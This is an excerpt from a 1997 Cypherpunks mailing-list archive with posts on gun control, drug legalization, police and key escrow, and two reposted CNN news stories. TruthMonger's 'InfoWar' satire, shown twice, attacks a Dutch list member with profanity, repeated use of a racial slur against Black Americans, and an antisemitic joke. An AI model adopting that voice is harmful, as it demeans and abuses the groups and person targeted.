with SAIC, say, and the Council on Foreign Relations, the lobby-law
firms and schools, but do not stop  with the obvious, easy to find.

Get Stewart Baker looped and talkative. Then John Deutch, 
William Perry, ex-legislators, and on and on.

Be prepared to have your not-so-secure comm systems hacked 
by the New Terrorists as dirty secrets are threatened. Read "Secrets:"
some of the characters in the crypto debate are mentioned
in earlier disguises and, in a few case, where they show now.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rab@stallion.oz.au
Date: Thu, 2 Oct 1997 06:08:10 +0800
To: cypherpunks@Algebra.COM
Subject: RE: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <82E14F2F282AD11180330000010380310152E6@mallory.stallion.oz.au>
MIME-Version: 1.0
Content-Type: text/plain



Cynthia Brown wrote:
> On Wed, 1 Oct 1997, Alex Le Heux wrote:
> 
> > You people just don't get it do you? A gun has one purpose: To kill.
> Just like
> > any other tool, a gun, if it is available _will_ be used at some
> point.
> > 
> > So making sure there are lots of guns around only serves to make a
> lot of
> > people very dead. This is a Bad Thing.
> > 
> > Gun control laws are not the issue. It's a matter of mentality. In
> Europe,
> > where we have rather strict guncontrol laws, and have had them for a
> long
> > time a decent human being will not even think of shooting someone
> else. In the
> > US, where guns are tradition and part of the American way, many
> people would
> > not think twice before shooting someone. The result of this is that
> the
> > number of people getting killed by guns is enourmous, be they
> criminals,
> > little kids, old grannies, or presidents.
> > 
> > This sucks.
> 
> I agree wholeheartedly.  Uncontrolled guns do not solve problems, they
> 
> create them.  If most households have at least one firearm, it makes
> it 
> that much easier for a criminal to obtain one by stealing yours while
> you 
> are at work.
> 
> Canada may be regulated to death according to most libertarians, but I
> for
> one like it that way.  I can walk alone and unarmed at night in
> Ottawa,
> Toronto, etc. without fearing for my life.  Can a female resident of
> Washington or New York say the same?  Our schools do not have metal
> detectors
> at the entrances because they are not needed. 
> 
> IMNSHO the best way to fight crime is not with bigger guns than the
> "bad
> guys", but with better social programs such as universal health care,
> and
> improved day care so single parents can show their kids what a
> productive
> lifestyle looks like.  This takes longer than blowing the brains out
> of some
> teenager that feels his only path to a better life is through crime,
> and it
> doesn't give the same adrenalin rush.  However, it works at the source
> of
> crime, and not the consequences. 
This kind of talk makes me sick.  For a start universal healthcare is
totally unaffordable, when there is little or no cost the end-user over
use of the services provided are inevitable, just look at Medicare here
in Australia.  Social security above certain levels leave recipients
unmotivated to take responsibility for their own lives and is a bad
example to their children, who will probably number largely among those
teenagers who do turn to crime.

> Cynthia, unrepentant bleeding-heart liberal
Robert, unrepentant dry.

> ===============================================================
> 		   Cynthia H. Brown, P.Eng.
> E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
> Home Page:  http://www.iosphere.net/~cynthb/
> Junk mail will be ignored in the order in which it is received.
> 
>         Klein bottle for rent; enquire within.
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Oct 1997 21:10:09 +0800
To: cypherpunks@toad.com
Subject: Re: The War on Drugs--Surrender! / Re: INFO-RUSS: Reuter: Russian+Russian Drug C
In-Reply-To: <Pine.LNX.3.93.971002194809.409G-100000@shirley>
Message-ID: <4a6XDe8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> On Wed, 1 Oct 1997, Anonymous wrote:
>
> [...]
>
> > Legalize drugs!
> > The War on Drugs *created* all of the current problems in this area
> > by making minute amounts of forbidden substances worth more than
> > precious metals.
>
> I have to aggry with Anon here,  the legalisation of drugs combined with a
> harm minimisation program has a good chance in resulting in less deaths
> and crime.

Check out the fairly successful Swiss program, distributing heroin cheaply
to registered addicts.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Thu, 2 Oct 1997 13:53:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or cryp
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <199710020531.HAA22918@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III <whgiii@invweb.net> wrote on  1 Oct 97:
..PGP sig data of WHG deleted...
> In <Mutt.19971001191622.alexlh@sarah.yc>, on 10/01/97 
>    at 07, alexlh@yourchoice.nl (Alex Le Heux) said:
> 
> >In article <34302d8d.8163438@newshost.cyberramp.net> you wrote:
> 
> >[lots of ranting deleted]
> 
> >: Banning guns because criminals might use them equates to banning
> >: encryption because criminals might use it.  And if you really believe
> >: that both should be banned, then perhaps you should be banned from
> >: using oxygen, because criminals breath it too.
> 
> >You people just don't get it do you? A gun has one purpose: To kill. Just
> >like any other tool, a gun, if it is available _will_ be used at some
> >point.
> 
> >So making sure there are lots of guns around only serves to make a lot of
> >people very dead. This is a Bad Thing.
> 
> >Gun control laws are not the issue. It's a matter of mentality. In
> >Europe, where we have rather strict guncontrol laws, and have had them
> >for a long time a decent human being will not even think of shooting
> >someone else. In the US, where guns are tradition and part of the
> >American way, many people would not think twice before shooting someone.
> >The result of this is that the number of people getting killed by guns is
> >enourmous, be they criminals, little kids, old grannies, or presidents.
> 
> >This sucks.
> 
> >We are not trying to export our stupidity, we're just trying to explain
> >to you how we live. We live in a place where we don't even have to think
> >about getting a gun, because the chances of us encountering a gun in the
> >hands of an adversary are negligible.
> 
> >Wake up and smell the coffee, dude. If you have lots of guns around,
> >you're gonna end up with lots of people getting shot.
> 
> What a crock of shit!!
> 
> Europe has been in a perpetual state of war for the past 2,000 years
> where countless tens of millions of people have been slaughtered.
> Chances are very high that you will face an advisatory with a gun,
> the fact that he collects a paycheck from a government wont make you
> any less dead from his bullets.
> 

This Californian now living abroad hears a great deal about what a 
violent place America is largely because we have the right to bear 
arms.  Of course, I remind these cretins that no other place on the 
world has a greater degree and respect for civil rights than 
does America.  Amazing when you consider that America is also the 
ultimate melting pot too.  Sure a lot of ethnic and racial tension 
still exists in America, but let's tour Europe:

1) Northern Ireland, where you have two groups who speak the same 
language and basically are cut from the same cultural cloth but 
religions differ

2) The Bosnia region:  different languages and religions, possibly 
different cultures although the years under Tito must have forced 
the people represented here (the Catholic Croats, the Eastern 
Orthodox Serbs, and the Muslims) to understand a little of each 
other's culture

3) Cyprus:  different languages and religions for sure, but Greeks 
and Turks are really brothers and sisters under the skin (i.e., are 
more alike than they care to admit to)

Look at the savagery and genocidal activities of the groups involved 
in those conflicts now and historically.

The kind of ethnic/subcultural strife and difficulties in America  
pales in comparison to the kind of savage killing and cold-blooded 
enmity that these "Europeans" have for one another.  That'll be the 
day when any European gives me a sanctimonius lecture about civil and 
human rights as they oughta be!

Don't tell me about the Americans who have left their homeland--maybe 
moved to Europe ;-) --and said, "Man, am I glad to be rid of my 
motherland and glad to be here."  You will always find the anecdote 
here and there.  And sure for some Americans it will be a step up 
from whatever hell they thought they were living in the States.  But 
don't expect in the next 10 generations to see Americans in a mass 
migration to get away from all urban violence ("because of our stupid 
gun freedom laws") to move to the relative police states that exist 
everywhere outside of America (with the possible exception of 
Canada--I love those Canadians).  You European snobs should really 
get a grip yourselves!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Same Guy <theSameGuy@theSamePlace.Old>
Date: Thu, 2 Oct 1997 23:19:41 +0800
To: cypherpunks@toad.com
Subject: InfoWar 27 / Part III of The True Story of the InterNet
In-Reply-To: <6489040e71db5edc2ab5e653cb709620@anon.efga.org>
Message-ID: <3433B3D6.28DB@theSamePlace.Old>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Anarchist Post of the Century 

Alex Le Clue


Anarchist Post of the Century


Subject: Mr. Policeman is Your Friend
From: Tim May <tcmay@got.net>
To: cypherpunks@cyberpass.net

>Electronic Frontier Canada's David Jones (djones@insight.dcss.McMaster.CA)

>posted the following to the EFC mailing list:

>2. If cops can read E-mail, so can the bad guys
>      http://www.efc.ca/pages/media/gazette.24sep97.html

Let's not forget that cops are often the bad guys.

And I don't mean this in a macho, off-the-pigs way. I mean that
throughout
history the "cops" are those who have enforced the laws
and whims of
tyrants, who have arrested and tortured and executed dissidents
and
nonconformists of all flavors, and who were the "King's men"
in the times
of the Founders.

Even in more recent decades in the U.S., don't forget it was "cops"
who
harassed civil rights workers, who broke up perfectly legal strikes,
who
arrested and imprisoned Eugene Debs for speaking out against the
draft in
particular and a foolish war, WW 1, in general, and so on. One
need only
look to J. Edgar Hoover and his police state measures.

(In fact, the very term "police state" tells us all
we need to know about
whether or not "Mr. Policeman is Your Friend" is always,
or even most of
the time, true.)

And with full awareness that I am invoking Godwin's Law, the "cops"
in
Europe in the 1933-45 period were the enforcers of Hitler's policies.

Here's a list of some folks throughout history and in various
regimes who
would likely have reason not to want to escrow their keys with
the local
police:

Jews, Catholics, Protestants, atheists, heretics, schismatics,
 heathens,
poets, authors, Scharansky, Solzhenitsyn, refuseniks, Chinese
dissidents,
students in front of tanks, Branch Davidians, Scientologists,
Jesus,
Gandhi, Nelson Mandela, African National Congress, UNITA, Thomas
Jefferson,
Patrick Henry, colonial rebels, patriots, Tories, Basque separatists,

Algerian separatists, secessionists, abolitionists, John Brown,
draft
opponents, communists, capitalists, imperialist lackeys, anarchists,

Charlie Chaplin, Galileo, Joan of Arc,, Martin Luther,  Martin
Luther King,
Malcolm X, Stokely Carmichael, civil rights workers, Margaret
Sanger, birth
control activists, abortionists, anti-abortionists, Michael Miliken,
Robert
Vesco, Marc Rich, Nixon's Enemies, Hoover's enemies, Clinton's
enemies,
Republicans, Democrats, anarchists, labor organizers, pornographers,

readers of "Playboy," viewers of images of women whose
faces are uncovered,
Amateur Action, Jock Sturges, violators of the CDA, alt.fan.karla-homulka

readers,  Internet Casino customers, Scientologists, Rosicrucians,

royalists, Jacobeans, Hemlock Society activists, Jimmy Hoffa,
John L. Lewis,
Cesar Chavez, opponents of United Fruit, land reformers, Simon
Bolivar,
Robin Hood, Dennis Banks, American Indian Movement, Jack Anderson,
Daniel
Ellesberg, peace activists, Father Berrigan, Mormons, Joseph Smith,

missionaries, Greenpeace, Animal Liberation Front, gypsies, diplomats,
UN
ambassadors, Randy Weaver, David Koresh, Ayatollah Khomeini, John
Gotti,
Papists, Ulstermen, IRA, Shining Path, militia members, tax protesters,

Hindus, Sikhs, Lech Walesa, Polish labor movement, freedom fighters,

revolutionaries, Ben Franklin, Thomas Paine, and "suspects"

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography

---------:---------:---------:---------:---------:---------:---------:----

Timothy C. May              | Crypto Anarchy: encryption, digital
money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.

"National borders aren't even speed bumps on the information
superhighway."





Alex Le Clue


Axle Le Clue shook his head in disbelief, as he read the CypherPunks
list post that had been sent by his clueless Doppelganger, Alex
Le Heux.

Subject: Re: "Show me an example of terrorists using
the Internet or crypto"
From: alexlh@xs4all.nl (Alex Le Heux)
To: cypherpunks@cyberpass.net

Bullshit. People in the US rarely use their weapons against oppressive

governments or political turbulence. Most guns that are used against

another person there are used to commit crime or to defend against

those armed criminals.

Anonymous <anon@anon.efga.org> wrote:
>Let's also take a look at the Dutch performance during their

>occupation.  While there certainly were many courageous Dutch
people
>who helped refugees (at great personal risk, to say the least),
and
>there were many courageous Dutch people who were in the resistance,

>there were also many Dutch people who did not perform so well.
 Not
>only were a large number of Jewish people turned in by Dutch

>informers, but there were even Dutch SS units.

You have a nerve. You, coming from a country where people are
still
regularly killed in the name of racism, tell me this?!

Alex

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDNpTNuYAh4dUSo/EQK3bwCeKJv4AW0kOwjSRitLi7HDa7KEaW8AoN4F

OwK1wOG19pazc93T1twP1Evp
=FsmU
-----END PGP SIGNATURE-----


Axle Le Clue had been following this thread, in which a large
number of CypherPunks had contributed their perspective, to little
effect, for the most part.
Alex Le H[clu]e[less]ux, despite a variety of sensible, well-reasoned
posts by a number of different American CypherPunks, seemed to
remain,  in his own mind, a world-class expert on a country in
which he did not reside.

What was especially sad, was that the poor, dumb fucker wasn't
even a spook.

Axle Le Clue decided that, since the rather civil posts by the
other list members were not helping his clueless twin from across
the sea to come half-way to his senses, that he would step into
his VerityMonger suit and bring the boy up to speed on what an
ignorant asshole he was making of himself.
It was the least he could do for an evil twin...

Subject: When you realize that you're too stupid to live,
you can borrow my gun.
From: Axellc@xsDRUGS4all.hi (Axle Le Clue)
To: cypherpunks@Algebra.COM

Alex,
  Did you know that all Europeans are exactly 5' 7" tall,
have light brown hair and limp slightly when they walk? I know
this because I watch TV and that makes me a goddamn fucking expert
on you low-life foreigners who aren't like us, over here.

  If you disagree with my view of your region of the world, then
why don't you get your head out of your fucking ass so that you
have an outside chance of expressing an opinion or viewpoint that
you didn't suck out of the cocks of the mass media when it comes
to our region of the world.

  I saw a news story on TV the other day about two senior citizens
who drew down on a would-be robber in a restaurant, or some such,
using their illegal guns, which they carried for their
own protection.
  Yep, I saw it in the news once.

  Today some kid slashed his mater's throat, and then went to
school and whacked out a couple of his classmates with a rifle.
I have seen this every half-fucking-hour since it happened, and
will no doubt be shown all of the messy details another few hundred
times before the mass media who seem to be in charge of spoon-feeding
people like yourself their world-view is done creating your reality
for you.

  You want nerve, pal? I've got the fucking nerve to suggest that
you petition your fucking government to take in a few million
US government created nigger crack-heads, so that your country
can teach our citizens how to treat them with love and respect.

  To tell the truth, I'd rather you took the white-bread junkies,
because my nigger drug addict acquaintances have treated me much
better than my honkey junkie pals.
  Correct me if I'm wrong (but I never am), but it seems to me
that Europe is not even interested in saving our Black-African
Americans from the horrible abuse they suffer as a result of our
country's racism. Come and get 'em...see if they'll go.

  The US has racial problems because we have different races.
We also have a whole shitload of racial harmony.
  All over the world, there are a variety of countries engaged
in mass murder and genocide, at any given point in time. You try
coming to the US and slaughtering even a few thousand of any particular
race, religion, or ethnic group, and you won't even be able to
take a wild guess at the number of people of various races, religions
and ethnic groups that will be on your ass like shit on stink.

  You hypocritical piece of shit--having the fucking audacity
to conceitedly brag about how the people of Europe have "put
the crap of WWII behind us" and suggest that it is something
that we "haven't managed to do."

  Want the cold, hard facts of life, Bubba?

  You didn't put WWII 'behind' you. We did!

  Gun-loving Americans conquered your continent and gave you your
countries back instead of enslaving you, like every other winner
in history has done.

  Some of us discriminate against Jews. Do you know why? 

Because we HAVE some!

  We were giving them refuge while Europe was massacring them
by the millions. Now you have the balls to say we're not all treating
them right all of the time.
  Buy a fucking clue!

NEWS FLASH!!!
  Fascism hadn't died, it has just gone underground and crept
into every facet of life through the corporate and government
power mongers.
  The government and the mass media are working the citizens like
dumb fish on a hook, who are still trying to swallow the worm.
There is a New World Order on the way, and it isn't going to be
any prettier than the last time it was tried.

  You can dismiss as paranoid ranters and ravers, those who decry
the increasing loss of our freedom and privacy, but you would
be better served to listen and learn from them, rather than criticize
their determination to defend their liberty, to the death, if
necessary.
  Why? Because these are the same people who defended Europe's
liberty, to the death.

  The danger is not the freedom lovers who are armed and declaring
the line they will not let others step over, in compromising their
rights and freedoms.
  The danger is the sheeple who believe the government and their
media shills when they say that the Thought Police only want Austria.
The Privacy Police only want the Jews.
  The danger is the sheeple who buy the government lie that they
need to deny us our rights and freedoms to solve the problems
that they, themselves, have created.

  If you can't see this clearly, then there is nothing that I
or any of the other CypherPunks can say to change your perception
of the source of creeping fascism that is leading to yet another
attempt to create a New World Order.

  I love the American people. I despise the secret American government.
I feel the same about many other countries I have lived in or
visited.
  I do not want to see your children, or mine, fighting in the
future over what color to paint their prison cells, instead of
fighting to escape, and be free. When the cattle cars stop at
the end of the line, the people you find there are not nearly
as civil and reasonable as the ones who checked your identity
cards at the beginning of the trip, to make sure that you were
properly processed according to your rights under the law.

  I think you are an idiot to believe that the threat of weapons
in the hands of the citizens is a greater threat than weapons
only in the hands of the rich and powerful. However, if Europe
is conquered by the forces of evil, once again, I am sure that
myself and many other Americans will do what we can to come pull
your ass out of the fire.
  It may take a little longer, this time, though, since we may
have to kick our own fascist government's ass before we come kick
the shit out of your dictators.

  No need to thank us...it's just the way Americans are.

VerityMonger
"If you want to conquer the world, you're going to have to
come through me."
("Do you feel lucky, Hitler? Well...do you?)


Copyright "Anonymous TruthMonger <theSameGuy@theSamePlace.Old>"

"You can't get there from here."



"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Same Guy <theSameGuy@theSamePlace.Old>
Date: Thu, 2 Oct 1997 23:24:01 +0800
To: cypherpunks@toad.com
Subject: InfoWar 27 / TEXT
Message-ID: <3433B47B.7D3F@theSamePlace.Old>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Anarchist Post of the Century
     Alex Le Clue

----------------------------------------------------------------------------

                        Anarchist Post of the Century
----------------------------------------------------------------------------

Subject: Mr. Policeman is Your Friend
From: Tim May <tcmay@got.net>
To: cypherpunks@cyberpass.net

>Electronic Frontier Canada's David Jones (djones@insight.dcss.McMaster.CA)
>posted the following to the EFC mailing list:

>2. If cops can read E-mail, so can the bad guys
> http://www.efc.ca/pages/media/gazette.24sep97.html

Let's not forget that cops are often the bad guys.

And I don't mean this in a macho, off-the-pigs way. I mean that throughout
history the "cops" are those who have enforced the laws and whims of
tyrants, who have arrested and tortured and executed dissidents and
nonconformists of all flavors, and who were the "King's men" in the times
of the Founders.

Even in more recent decades in the U.S., don't forget it was "cops" who
harassed civil rights workers, who broke up perfectly legal strikes, who
arrested and imprisoned Eugene Debs for speaking out against the draft in
particular and a foolish war, WW 1, in general, and so on. One need only
look to J. Edgar Hoover and his police state measures.

(In fact, the very term "police state" tells us all we need to know about
whether or not "Mr. Policeman is Your Friend" is always, or even most of
the time, true.)

And with full awareness that I am invoking Godwin's Law, the "cops" in
Europe in the 1933-45 period were the enforcers of Hitler's policies.

Here's a list of some folks throughout history and in various regimes who
would likely have reason not to want to escrow their keys with the local
police:

Jews, Catholics, Protestants, atheists, heretics, schismatics, heathens,
poets, authors, Scharansky, Solzhenitsyn, refuseniks, Chinese dissidents,
students in front of tanks, Branch Davidians, Scientologists, Jesus,
Gandhi, Nelson Mandela, African National Congress, UNITA, Thomas Jefferson,
Patrick Henry, colonial rebels, patriots, Tories, Basque separatists,
Algerian separatists, secessionists, abolitionists, John Brown, draft
opponents, communists, capitalists, imperialist lackeys, anarchists,
Charlie Chaplin, Galileo, Joan of Arc,, Martin Luther, Martin Luther King,
Malcolm X, Stokely Carmichael, civil rights workers, Margaret Sanger, birth
control activists, abortionists, anti-abortionists, Michael Miliken, Robert
Vesco, Marc Rich, Nixon's Enemies, Hoover's enemies, Clinton's enemies,
Republicans, Democrats, anarchists, labor organizers, pornographers,
readers of "Playboy," viewers of images of women whose faces are uncovered,
Amateur Action, Jock Sturges, violators of the CDA, alt.fan.karla-homulka
readers, Internet Casino customers, Scientologists, Rosicrucians,
royalists, Jacobeans, Hemlock Society activists, Jimmy Hoffa, John L. Lewis,
Cesar Chavez, opponents of United Fruit, land reformers, Simon Bolivar,
Robin Hood, Dennis Banks, American Indian Movement, Jack Anderson, Daniel
Ellesberg, peace activists, Father Berrigan, Mormons, Joseph Smith,
missionaries, Greenpeace, Animal Liberation Front, gypsies, diplomats, UN
ambassadors, Randy Weaver, David Koresh, Ayatollah Khomeini, John Gotti,
Papists, Ulstermen, IRA, Shining Path, militia members, tax protesters,
Hindus, Sikhs, Lech Walesa, Polish labor movement, freedom fighters,
revolutionaries, Ben Franklin, Thomas Paine, and "suspects"

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May | Crypto Anarchy: encryption, digital money,
ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets,
Higher Power: 2^2,976,221 | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

----------------------------------------------------------------------------

                                Alex Le Clue
----------------------------------------------------------------------------

Axle Le Clue shook his head in disbelief, as he read the CypherPunks list
post that had been sent by his clueless Doppelganger, Alex Le Heux.

Subject: Re: "Show me an example of terrorists using the Internet or crypto"
From: alexlh@xs4all.nl (Alex Le Heux)
To: cypherpunks@cyberpass.net

Bullshit. People in the US rarely use their weapons against oppressive
governments or political turbulence. Most guns that are used against
another person there are used to commit crime or to defend against
those armed criminals.

Anonymous <anon@anon.efga.org> wrote:
>Let's also take a look at the Dutch performance during their
>occupation. While there certainly were many courageous Dutch people
>who helped refugees (at great personal risk, to say the least), and
>there were many courageous Dutch people who were in the resistance,
>there were also many Dutch people who did not perform so well. Not
>only were a large number of Jewish people turned in by Dutch
>informers, but there were even Dutch SS units.

You have a nerve. You, coming from a country where people are still
regularly killed in the name of racism, tell me this?!

Alex

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDNpTNuYAh4dUSo/EQK3bwCeKJv4AW0kOwjSRitLi7HDa7KEaW8AoN4F
OwK1wOG19pazc93T1twP1Evp
=FsmU
-----END PGP SIGNATURE-----

Axle Le Clue had been following this thread, in which a large number of
CypherPunks had contributed their perspective, to little effect, for the
most part.
Alex Le H[clu]e[less]ux, despite a variety of sensible, well-reasoned posts
by a number of different American CypherPunks, seemed to remain, in his own
mind, a world-class expert on a country in which he did not reside.

What was especially sad, was that the poor, dumb fucker wasn't even a spook.

Axle Le Clue decided that, since the rather civil posts by the other list
members were not helping his clueless twin from across the sea to come
half-way to his senses, that he would step into his VerityMonger suit and
bring the boy up to speed on what an ignorant asshole he was making of
himself.
It was the least he could do for an evil twin...

Subject: When you realize that you're too stupid to live, you can borrow my
gun.
From: Axellc@xsDRUGS4all.hi (Axle Le Clue)
To: cypherpunks@Algebra.COM

Alex,
Did you know that all Europeans are exactly 5' 7" tall, have light brown
hair and limp slightly when they walk? I know this because I watch TV and
that makes me a goddamn fucking expert on you low-life foreigners who aren't
like us, over here.

If you disagree with my view of your region of the world, then why don't you
get your head out of your fucking ass so that you have an outside chance of
expressing an opinion or viewpoint that you didn't suck out of the cocks of
the mass media when it comes to our region of the world.

I saw a news story on TV the other day about two senior citizens who drew
down on a would-be robber in a restaurant, or some such, using their illegal
guns, which they carried for their own protection.
Yep, I saw it in the news once.

Today some kid slashed his mater's throat, and then went to school and
whacked out a couple of his classmates with a rifle. I have seen this every
half-fucking-hour since it happened, and will no doubt be shown all of the
messy details another few hundred times before the mass media who seem to be
in charge of spoon-feeding people like yourself their world-view is done
creating your reality for you.

You want nerve, pal? I've got the fucking nerve to suggest that you petition
your fucking government to take in a few million US government created
nigger crack-heads, so that your country can teach our citizens how to treat
them with love and respect.
To tell the truth, I'd rather you took the white-bread junkies, because my
nigger drug addict acquaintances have treated me much better than my honkey
junkie pals.
Correct me if I'm wrong (but I never am), but it seems to me that Europe is
not even interested in saving our Black-African Americans from the horrible
abuse they suffer as a result of our country's racism. Come and get 'em...see
if they'll go.

The US has racial problems because we have different races. We also have a
whole shitload of racial harmony.
All over the world, there are a variety of countries engaged in mass murder
and genocide, at any given point in time. You try coming to the US and
slaughtering even a few thousand of any particular race, religion, or ethnic
group, and you won't even be able to take a wild guess at the number of
people of various races, religions and ethnic groups that will be on your
ass like shit on stink.

You hypocritical piece of shit--having the fucking audacity to conceitedly
brag about how the people of Europe have "put the crap of WWII behind us"
and suggest that it is something that we "haven't managed to do."

Want the cold, hard facts of life, Bubba?

You didn't put WWII 'behind' you. We did!

Gun-loving Americans conquered your continent and gave you your countries
back instead of enslaving you, like every other winner in history has done.

Some of us discriminate against Jews. Do you know why?

                            Because we HAVE some!

We were giving them refuge while Europe was massacring them by the millions.
Now you have the balls to say we're not all treating them right all of the
time.
Buy a fucking clue!

NEWS FLASH!!!
Fascism hadn't died, it has just gone underground and crept into every facet
of life through the corporate and government power mongers.
The government and the mass media are working the citizens like dumb fish on
a hook, who are still trying to swallow the worm. There is a New World Order
on the way, and it isn't going to be any prettier than the last time it was
tried.

You can dismiss as paranoid ranters and ravers, those who decry the
increasing loss of our freedom and privacy, but you would be better served
to listen and learn from them, rather than criticize their determination to
defend their liberty, to the death, if necessary.
Why? Because these are the same people who defended Europe's liberty, to the
death.

The danger is not the freedom lovers who are armed and declaring the line
they will not let others step over, in compromising their rights and
freedoms.
The danger is the sheeple who believe the government and their media shills
when they say that the Thought Police only want Austria. The Privacy Police
only want the Jews.
The danger is the sheeple who buy the government lie that they need to deny
us our rights and freedoms to solve the problems that they, themselves, have
created.

If you can't see this clearly, then there is nothing that I or any of the
other CypherPunks can say to change your perception of the source of
creeping fascism that is leading to yet another attempt to create a New
World Order.

I love the American people. I despise the secret American government. I feel
the same about many other countries I have lived in or visited.
I do not want to see your children, or mine, fighting in the future over
what color to paint their prison cells, instead of fighting to escape, and
be free. When the cattle cars stop at the end of the line, the people you
find there are not nearly as civil and reasonable as the ones who checked
your identity cards at the beginning of the trip, to make sure that you were
properly processed according to your rights under the law.

I think you are an idiot to believe that the threat of weapons in the hands
of the citizens is a greater threat than weapons only in the hands of the
rich and powerful. However, if Europe is conquered by the forces of evil,
once again, I am sure that myself and many other Americans will do what we
can to come pull your ass out of the fire.
It may take a little longer, this time, though, since we may have to kick
our own fascist government's ass before we come kick the shit out of your
dictators.

No need to thank us...it's just the way Americans are.

VerityMonger
"If you want to conquer the world, you're going to have to come through me."
("Do you feel lucky, Hitler? Well...do you?)

Copyright "Anonymous TruthMonger <theSameGuy@theSamePlace.Old>"
"You can't get there from here."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 22:09:48 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710021408.JAA26033@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Visit Regal at Buick.com rule
   
                   NATIONWIDE CRACKDOWN ON MAIL FRAUD BEGINS
                                       
     Mail fraud graphic October 1, 1997
     Web posted at: 11:11 p.m. EDT (0311 GMT)
     
     WASHINGTON (CNN) -- Federal, state and local law enforcement
     agencies joined hands with more than 1,500 private sector volunteers
     Wednesday to launch a nationwide crackdown on mail fraud.
     
     "Project Mailbox," initiated by the Federal Trade Commission, U.S.
     Postal Inspection Service, the National Association of Attorneys
     General and the American Association of Retired People, targets con
     artists who use mass mail to defraud consumers.
     
     The FBI estimated several years ago that an estimated $40 billion a
     year is lost to mail and telemarketing scams that include a range of
     deceptive claims such as phony bills, bogus advance-fee card offers
     and false contest claims.
     
     One goal of the new effort is to get a more accurate and up-to-date
     estimate on the size and nature of this problem. To assist, AARP is
     asking members to turn over unsolicited and suspicious mail to law
     enforcement officials. The coalition is also launching a consumer
     education campaign.
     
    
   rule
   
  Related sites:
  
     Note: Pages will open in a new browser window
     * AARP
     * Federal Trade Commission
     * United States Postal Service
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   
     _________________________________________________________________
   
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   You said it... [INLINE] Visit Regal at Buick.com rule
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   (c) 1997 Cable News Network, Inc.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 22:07:24 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710021409.JAA26061@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner AST. Working for your business. rule
   
                BOY SHOOTS SISTER FOR TALKING ON PHONE TOO LONG
                                       
     October 1, 1997
     Web posted at: 11:11 p.m. EDT (0311 GMT)
     
     ORANGE PARK, Florida (AP) -- A 14-year-old boy shot his sister for
     talking on the telephone too long, a law enforcement official said.
     
     The boy, who was not identified because of his age, was charged with
     attempted murder. His 15-year-old sister was treated for a gunshot
     wound to her chest and released from a hospital.
     
     The boy said that his sister was getting on his nerves for talking
     on the phone too long, the sheriff's office said.
     
     He said he took his mother's .22-caliber revolver from a locked box
     in her bedroom. The girl was reading a book when she was shot
     Monday. When officers arrived, the boy was talking on the phone.
     
     "I could understand a temper thing, but this kid had the gun for
     four or five hours before he went into his sister's bedroom and shot
     at her twice," said sheriff's Sgt. Wes Gronikowski.
